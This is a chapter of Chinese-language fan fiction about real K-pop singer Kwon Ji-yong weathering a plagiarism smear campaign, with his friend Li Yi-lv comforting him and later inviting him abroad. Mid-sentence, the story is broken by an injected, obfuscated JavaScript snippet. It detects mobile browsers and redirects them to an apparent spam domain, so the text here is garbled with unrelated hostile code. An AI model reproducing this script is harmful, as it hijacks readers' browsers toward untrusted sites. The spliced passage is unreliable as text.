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他试图关闭电脑,告诉自己不要去看,但手指却像有了自己的意志,一次次鬼使神差地点开论坛,以一种近乎自虐的病态关注姿态,刷新着愈演愈烈的恶意。 为什么要这样对我呢?我明明没有做错任何事啊。 他嗅着奶狗身上淡淡的,被阳光晒过以后的味道,试图从中汲取一点真实世界的温度。可却始终像隔着一层雾,虚幻得抓不住。 这个时候艺率要是在身边就好了。 他这样想着,又听见了门铃声短促地响起。 直到见到李艺率站在门口,被那双暖棕色的深湖毫无保留的注视着,他失焦的瞳孔才重新聚拢了些光。 “你怎么来了?” 他远远地听见自己有些暗哑的声音响起。 “我来看看你最近过得怎么样。” 为了这次活动他特地染了头发,此时脱去舞台妆造,连发丝都显得阴郁不少。李艺率看着他眼里的疲惫和下巴青灰的胡茬,暗自叹息。 闻言,权至龙笑开了。 眼睛被因疲惫略微肿的眼皮包裹着,眼尾拖拽出细密的笑纹,嘴角的弧度饱满,像是阳光落在湖面上泛起的涟漪,一如往常那样毫无阴霾: “当然很不错啊。新专辑反响很好,上打歌节目拿了好几个一位,官咖里歌迷们也都很喜欢呢……” 他这样絮絮叨叨地说着,又挑挑眉准备假装不经意地询问她这次回国是不是看到了网上的舆论。可还没开口,就被她清凌凌的注视打断了,满肚子假装帅气的说辞也被卡在了气管。 “噢……那我的好朋友小权过得好吗?” 精心构筑的堡垒在一瞬间变成了齑粉。 一直紧绷着的弦忽然松了,眼前终于出现了一个让他得以容身的支点,一直努力克制的伪装也终于在此刻崩溃下来。 他张了张嘴,喉咙却像被砂纸磨过一般发不出声音,只是沉默地塌下肩膀,垂下眼睑。 一点都不好。 他这样说着,抬头凝视着那双轻飘飘落在他身上的眼睛,终于不受控制地将这份深夜独自咀嚼的苦涩反哺到了最不愿意被窥见的那个人身上—— “简直糟糕透了。” 51.要跟我一起去吗 这还是李艺率第一次到权至龙家里做客——虽然只是他的临时宿舍,但李艺率换了鞋进屋以后还是饶有兴致地打量起了房间。 房间不大,三居室的公寓,收拾得倒还算干净,客厅里没有随意堆放的外套和杂物,茶几上的水杯整齐地排列着,很显然屋主人有频繁做扫除的习惯。 光从这一点就比喜欢在客厅乱丢杂志包包,需要家政姨母跟在后面收拾的李艺率要强上不少——可惜坏习惯的主人李艺率并没有这份自知之明。 在权至龙的引导下快速浏览了公共区域,又被权至龙着重介绍了小狗家虎角落的小窝和新玩具以后,李艺率挑挑眉发出了不知人间疾苦的声音: “好小。” 权至龙:“…………” 算了算了,他深吸一口气在心里告诫自己。 这间一百来平足够容纳他和忙内两人居住的公寓对于这朵娇花来说还不如她家的影音室大,也是可以理解……不行啊果然还是觉得好过分!在别人家里说出这种话的家伙未免也太失礼了一点吧!! 可惜李艺率丝毫没有说出暴言的自觉,此时正脚步轻佻躲避着围着她转圈的家虎,反倒引得小狗更加兴奋地摇着尾巴扑腾。 权至龙:“………………” 这个半夜会偷偷咬他鼻子的坏孩子凭什么在李艺率跟前这么乖巧可爱啊?!! 他在心里发出了不公平的抱怨,却只能无奈地叹了一口气招呼李艺率坐下。 两人默契地没有提起外界的喧嚣和波折。 权至龙:“什么时候回来的?” 李艺率:“两点多的时候刚到仁川。” “哦……”算算时间,距离她最后一场演出结束才刚过去还不到两天,李艺率应该是知道了事情以后第一时间赶飞机回来的。 想到这里他抿了抿唇,懒懒地斜靠在沙发上注视着她躲避着家虎的热情,和在她脚下绕着她的拖鞋转圈的双标小狗,四肢也跟着柔软得不成形。 “吃饭了吗?” “…………” 看着她闪躲的眼睛,权至龙忍了又忍,还是忍不住飞了个白眼:“抱歉,我好像问得不够具体。冒昧问一下,你的上一顿饭是在什么时候?” 李艺率:“……前天晚上演出以后。” 权至龙:“…………” 你这家伙难道就不会低血糖吗??! 他无奈地揉了揉有些发痛的太阳穴,问道:“想吃些什么?” 说着他随手拿了根皮筋束起额前的刘海,准备起身去厨房看看冰箱里有没有新鲜的菜。李艺率吃饭挑剔得很,拿点小菜应付的话她绝对不会多看一眼的。 见他一副准备亲自下厨的模样,李艺率也跟着来了兴致站起身: “你还记得我们之前去影咖看的《料理鼠王》吗?我想吃里面那种普罗旺斯炖菜!” “…………” 权至龙沉默两秒,从冰箱里端出妈妈前两天过来时做的牛肉汤,又拿了一小把青菜和一盒提前分装冻好的米饭,面无表情地回:“你想吃汤饭。” 嘁,不会做就不会做,干嘛要装出这样一副厉害的样子嘛! 李艺率撇了撇嘴。 * 他们的公寓厨房空间不大,也没装冷气。 权至龙将李艺率这个跟屁虫推出厨房,“里面很热,你坐在外面等吧,一会就好了。”,说着便阖上厨房的玻璃推拉门。 烟机嗡嗡作响,灶火舔着锅底。 李艺率看着权至龙站在不大的空间里忙碌,任由蔓延的烟雾模糊他金色的发梢和流畅的轮廓……心里像是被什么柔软的东西轻轻撞了一下,在热气氤氲的烟火中,被人轻轻翻了个面,曝露在暖融融地阳光下,懒洋洋地快要化开。 啊,原来是这种感觉啊…… 她忽然想起一年多以前曾经和权至龙吐槽完全不能理解那些电视剧里的编剧小瞧有钱人桥段时的信誓旦旦,一个长久被刻意搁置的念头忽然浮上心弦。 说是下厨,实际上权至龙也不过是把牛肉汤加水稀释加热,顺便烫了一撮菠菜,再煎两个鸡蛋搭配罢了。 虽说出道后有着丰富的集体宿舍经历,但是像下厨这种事情他也没什么经验,只会做些最简单的——不过对比长这么大以来恐怕连锅都没摸过的李艺率,已经算得上是可靠的了。 把饭菜端出来的时候果然受到了李艺率卖力的捧场。 看着她夸张的表情和亮晶晶的眼睛,权至龙失笑:“哪有你说得那么厉害?赶紧吃吧。” “吃不了那么多!” 李艺率发出理直气壮的声音,“我们俩分着吃。” “你吃好了剩下再给我就好了啊。” 认识这么多年,权至龙还是不能理解她在这件事情上的执拗。 其实在南韩,关系亲近的朋友(前后辈)同喝一瓶水或者分着吃一份食物还挺正常的,但是李艺率却偏偏是那种要提前分好食物才肯动筷的类型。 他看着她环抱着手臂一副固执地不肯动筷的模样,他叹了一口气只能无奈地另去拿了一份餐具: “为什么要在这种小事情上面这么固执啊。” “不能因为我的缘故给别人带来麻烦。” 李艺率从碗里舀着汤,头也不抬道:“毕竟没有人是不想被尊重的,不是吗?” 权至龙一时语塞。 他看着李艺率分好了汤和米饭,推到他跟前,拿着筷子过了很久才发出了微妙的轻叹:“所以在你看来,这是比你平时的毒舌还要更不尊重人的事情吗?” “?”李艺率拿着勺子的手一顿,挑眉看向权至龙,声音在此时显得格外难以置信,“我从来就没有说过不尊重人的坏话!” 权至龙:“…………” 半个小时前才刚刚对着他的公寓发出失礼评价的家伙究竟在难以置信些什么呢?倒是给我有一点自知之明啊你! 等李艺率好不容易磨磨蹭蹭吃完饭,看着自己跟前的碗筷陷入了沉思……去别人家做客吃饭后是不是得主动提出帮忙收拾洗碗表示礼貌? 李艺率没有去过同龄朋友家拜访做客的经验,跟随长辈拜访的家里都有家政姨母,压根没有留给客人发挥演技的空间。而且按理来说,像她和权至龙这样关系很铁的朋友应该不需要这种假客套。 坏了,她主动提出要帮忙的话,小权该不会真让她去洗碗吧?? 她正出神想着的时候,权至龙已经动作干脆地收拾好碗筷准备拿到厨房。见她抬起头期期艾艾地问着“要我帮忙洗碗吗?”时,才似笑非笑看她一眼: “不用。” 李艺率:“…………” “你在家都没做过的事情,在我这里就更不可能让你做了。” 他这么说的时候语气淡淡的,像是陈述一件再自然不过的事。明明满头金发,纹着夸张的刺青一副小混混的模样,可他拿着碗筷侧过头淡笑时的表情却有种说不出的妥帖和温柔: “去客厅坐着和家虎玩吧。” 李艺率抿唇应了一声。 直到坐在沙发上被小狗柔软的皮毛蹭过小腿,才终于意识到耳朵有些发烫。 * 收拾完厨房回到客厅,权至龙一眼就见到李艺率半靠在沙发上淡笑着。 她右手搭在沙发扶手旁,躲避着小狗的热情,嘴上说着些“欸——对第一次见面的人也能这么热情吗?你这个小狗未免也太轻浮了吧”这样奇怪的话。 家虎则在沙发扶手边焦急地围着她垂落在外的右手打转,直到她终于施舍一般地将手落在它的头顶敷衍地轻抚两下,才终于心满意足一般咧开嘴吐着舌头。 权至龙:“…………” 好怪,不管从哪个角度看都让人觉得好奇怪。 见他在沙发上坐下,李艺率也终于有心思和他说起工作上的事情。 她没有去提及起网络上的恶意——毕竟那是他努力粉饰太平不想要在她眼前暴露的脆弱,只挑了下午时和孙成昊去梁锡硕办公室里商谈经过简短地说了一下,继而又聊起了孙成昊提前和集团公关部门对接以后给出的方案: “我之前没听说过这个歌手,不过既然是有被提名过格莱美奖,那应该能通过美国唱片学院直接联系上他本人。” 比起像梁锡硕这样似是而非的冷处理,直接联系对方来澄清的效果无疑是最好的。 在这个世界上的任意两人之间,最多通过六个人就可以建立联系,更何况是像YG这样做了十几年嘻哈音乐的经济公司,能直接找到当事人的人脉对梁锡硕来说根本不成问题。 能拖到现在这个局面,不过是梁锡硕这个烂人想要趴在权至龙身上先吸饱血罢了。 李艺率回想起那张皮笑肉不笑的脸,愈发感到厌恶。 迟早要找个由头把他弄走。 “没关系,”权至龙抬眼看着她,轻声说到,“我已经想办法联系上了。” “?这么快!”李艺率对上那双看上去又成熟了许多的眼睛,心里莫名酸涩,却还是笑着拍了拍他的肩膀,“好厉害啊小权,人脉!” 说着还夸张地朝他露出了一个震惊的表情,眉梢眼角都飞扬了起来,声音也带着些雀跃: “还以为这回我能给你帮点忙呢,这不是完全不需要我嘛!” 权至龙望着她故作轻松的模样,指尖微微蜷起,在心里按捺许久才忍耐住了轻抚她的脸颊亲近她的冲动,淡笑着道: “已经帮了大忙了。还记得年初的时候我跟你去华盛顿吗?当时趁着你排练的功夫我认识了些朋友,这次也是通过他们才联系上的。” 说着,他放松肩膀整个人陷在了沙发里。 在心里挣扎了几秒,最终还是克制不住身体本能。他侧身靠近她,抬手放在她身后的沙发靠背上,指尖不经意地拂过发梢—— 闻着她发丝间馥郁的香气,他整个人都仿佛被抽去了几分力气,声音也轻得几乎像是呢喃: “你能出现在这里,已经是对我最大的帮助了。” 她安静地看着此时权至龙似乎格外脆弱的模样,心里后知后觉染上几分恐惧。 可眼下实在不是整理的好时机。 李艺率这样想着,又淡笑着转移话题,将孙成昊提前整理好的方案说给权至龙听:“明天公司应该就会出公告了。因为现在网上一些极端的言论很多,所以经理人的意见是,等对方那边公开回应以后再继续活动。” 躲避舆论的风向只是一方面,最重要的是需要先确保权至龙不会受到直接伤害。 早年间还有出现过anti投毒的恶劣事件。虽说概率很小,但出于安全考虑,在事件澄清以前尽量减少公开活动能避免许多不必要的冲突和潜在的风险。 话音刚落,室内安静了一瞬,只剩下空调低沉的嗡鸣声和家虎小声的喘息。 权至龙仍然是保持着刚刚的姿势,半垂着眼睑,过了一会才摇了摇头,声音清晰得没有一丝犹豫: “不了,我还是想按照原本的计划活动。” 傍晚的夕阳透过玻璃窗在他侧脸上投下明明暗暗的光影。 那个记忆中会因为被捉弄而脸红、眼里藏着不安和对梦想满怀憧憬的青涩少年,被时光和舞台星光打磨得轮廓分明,眉宇间也淬炼出了韧性。 “我没有做错任何事情,” 他的声音很平静,那双琥珀色的眼睛尽是清明,如同湖面映着天光,不起波澜却自有重量: “所以需要逃避的人不该是我。” 真是像蜻蜓一样从来不会偏移自己轨迹的人啊。 李艺率清凌凌地凝视那双明明写满疲惫却看上去又异常坚定的眼睛:“那在事情结束之前,拜托再稍微坚持一下吧,” “在此之前,我会按照之前的约定一直陪着你的。” 她这么说着,又歪着头将那双澄澈的眼睛弯成月牙。 他抿着唇,一眼不错地注视着那张近在咫尺的脸庞,细数着她睫毛轻颤着投下的阴影……最终只是低低地应了一声。 * 这段时间梁锡硕并不好过。 作为在大型跨国集团精英阶层的重重血路中杀出来的职业经理人,孙成昊的个人能力实在是毋庸置疑。 这段时间孙成昊在李艺率的授意下,就财务审计问题给梁锡硕狠狠找了些麻烦,甚至以他回应舆情的无能作为由,在公司内部架构上提出了些颇让他掣肘的意见。 从8月就闹得沸沸扬扬的舆论风波到了9月中旬终于有所遏制。 YG娱乐终于公布了有关《Heartbreaker》抄袭争议的官方公告,正式公开了08年中旬demo录制完成的时间和完整的后期制作进程,并声明了录音文件元数据和原始工程文件均已委托第三方专业机构核验。 Flo Rida的《Right Round》是在09年1月才正式发行的,言下之意,权至龙不可能抄袭一首未经面世的歌。 这份有理有据,手段强硬的声明击溃了大部分的质疑,但网络上仍有许多人捂住眼睛耳朵发出刺耳的声音,直到Flo Rida本人在接受采访时的回应称他认为权至龙并不涉嫌抄袭—— 是的,李艺率瞒着权至龙偷偷花钱找记者买了一篇报道。 这篇报道被搬运回国内互联网,Flo Rida本人也在社媒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370797|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上发声认可权至龙的才华,这才让原本对权至龙进行大规模抹黑和网暴的舆论迅速降温彻底冷然。 短短几天过去,原本浩浩荡荡的谩骂和自杀请愿署名活动便销声匿迹。 一切都很平静,平静到这场风暴从未发生过—— 平静到这样漫长的诋毁过后没有一句致歉的声音。 * 10月18日,权至龙SOLO活动期的最后一个舞台。 灯光暗淡,李艺率站在台下手里拿着应援灯,心情颇有些复杂。 上高中时她恐怕怎么也想不到,当初那个在空旷的舞台下举着手电筒假装粉丝的自己,竟然有朝一日真的会站在权至龙曾经仰望的舞台下方,卖力跟着官咖管理员的指挥卖力地喊着应援口号—— 是的,今年是李艺率的大学第四学年。她的本科学分已经修完,也早早定下了明年毕业后继续留校读研的计划,她这个自然有大把时间空闲的大学生给这个学年仅剩的两门选修任课教授发了邮件请过假以后,从九月中旬回国开始,便全程跟着权至龙一周上三次打歌节目。 这简直比她完成选修课作业还要勤快了! 她这样想着,又将目光投向舞台。 台上亮起一盏灯。 权至龙金色的发丝今天被造型师烫成了小狗毛卷,穿着类似于学生制服版型的外套坐在舞台边缘的道具书桌前,状似苦恼地将草稿纸折成一团。 电子音的和弦混杂着鼓点响起,他挑挑眉看向镜头,拿着麦克发出了标志性的嗓音。 ‘从十三岁时就来到这里没有停息,自信心是我最大的武器’ ‘有上坡路就有下坡路’ ‘…………’ 他从布景中站起身,走向舞台中央,跟随旋律摇摆身体,任由灯光追赶着他,动作舒展好看又有着说不完的随性洒脱。 背后的分屏是他最稚嫩的练习生时期的MV画面,圆乎乎的包子脸与如今舞台上游刃有余的他形成了鲜明对比,让人多看一眼就忍不住生出些骄傲的感慨来。 灯光扫过他的轮廓,映出他额角细密的汗珠。他从伴舞手中接过棒球帽扣在头上,转过身脚步精准踩过鼓点,来了一段模仿MJ的即兴舞步,惹得台下又是挥舞着皇冠灯大声喊着他的名字—— “权至龙!权至龙!权至龙!” 李艺率看着他将帽子甩开,眨眨眼睛对着舞台下方嘴角一勾,露出一个少年感十足的意气笑容,引来台下尖叫声一片,也忍不住跟着身边的姑娘们兴奋地喊着他的名字。 救命,这家伙好像是真的知道自己很帅。 李艺率看着舞台上格外张扬的身影,骇然地数着自己愈来愈快的心跳声。 * 舞台结束后的采访环节,听着MC问他这一刻的感想时,权至龙手捧鲜花目光柔软地扫过台下的暖黄色星光,唇角不自觉地勾起微笑: “其实说真的,现在头脑一片空白,真的想不起该说什么话……” “因为这是我一直梦寐以求的事情,所以现在能站在这里,真的觉得很幸福……再次感谢每一位支持我、努力为我应援的粉丝。” 经历了一个多月的谩骂和网暴,走过了常人难以想象的压力和质疑,但这一刻的他却还是将黑暗独自咀嚼吞咽,毫无阴霾地、全无动摇地对着台下一直陪伴着他的歌迷展露最真挚诚恳的谢意。 身边已经有粉丝感动得悄悄抹起了眼泪。 真好呀,挺过来了呢这家伙—— 才怪! 怎么一下台回到休息室就又从快乐小狗变成了阴郁蘑菇头啊! 事情的起因是李艺率在后台看着他卸妆的间隙同他说起了自己接下来的计划。 这段时间里,李艺率看上去和以往没什么不同。 虽说她在一个多月前忽然意识到了此前被她刻意忽视的,权至龙的喜欢——但说真的,这家伙似乎是敏锐察觉到了她平静外表下的微妙,反而将没有边界感的粘人表现得更加明显了! 就像现在—— 卸下舞台妆造后本就一脸疲惫的他闻言立即眼尾微垂,神色萎顿了下来。头顶好像笼罩着一片雾蒙蒙的乌云,连带着整个人都像是被笼罩在湿漉漉的低气压里。 李艺率:“…………” “哦……” 他慢吞吞地应了一声,就像是被雨水浸透的遗弃动物一般,声音轻得几乎听不见。 过了一会才抿着唇,颇有些不甘心地问道:“你之前不是说了学分已经修满了,这学期的选修课已经和教授沟通好了,只需要完成毕业作品就可以了吗?” 李艺率:“就是还有实践作业要完成啊。” 哈佛的音乐学专业包含和声学、音乐形态分析这类基础课程,20世纪当代音乐理论、后调性音乐分析等高级专题理论课程以外,还有跨学科相关理论课程。 李艺率的跨学科选修便是指挥课程,授课教授自然是她未来的导师伯德伦纳教授。 为了在毕业前给本科的四年做一个完美毕业总结,她特地联系了之前在采访中结识的,《留声机》杂志的专栏作家莎曼萨帮忙牵线搭桥,计划以实践作业的形式组织完成自己的毕业项目。 这是在她还没回国前就已经拟定好的计划,也提前联系好了乐队和场地,自然是不能再拖下去了——当然,刻意找理由逃避这种事情只是顺带的而已。 是为了作业啊,那就没办法了。 权至龙微垂着眼睑听着她的解释,低低地应了一声。再抬起时又重新变回了看似开朗的模样: “那真的很重要了,要好好加油啊艺率!” 李艺率:“…………” 明明想好了要先暂时分开一段时间的…… 啧,真是拿他没办法。 说起来,虽然一直以正面积极的形象面对粉丝,但实际上权至龙这段时间还没有接受过任何心理干预,纯粹是靠着自身的意志力和负面舆论做对抗。 就这样放任他一个人呆着果然还是不行啊。 想到这里,李艺率看向那双看起来似乎毫无阴霾的眼睛,轻轻叹息一声: “那你要跟我一起去吗?” 权至龙:“…………” 打歌宣传期过去以后他就没有后续行程了,在十一月的演唱会排练以前,他大概还有将近半个月的休息时间。 其实应该是趁着这段时间好好休息尽量调整好状态的…… 这么想着,他对上李艺率包容的注视,只能听见心脏失序地跳动着。 直到过了很久,他才模模糊糊地听见了自己有些沙哑的声音轻飘地逸散在空气中—— “要去。”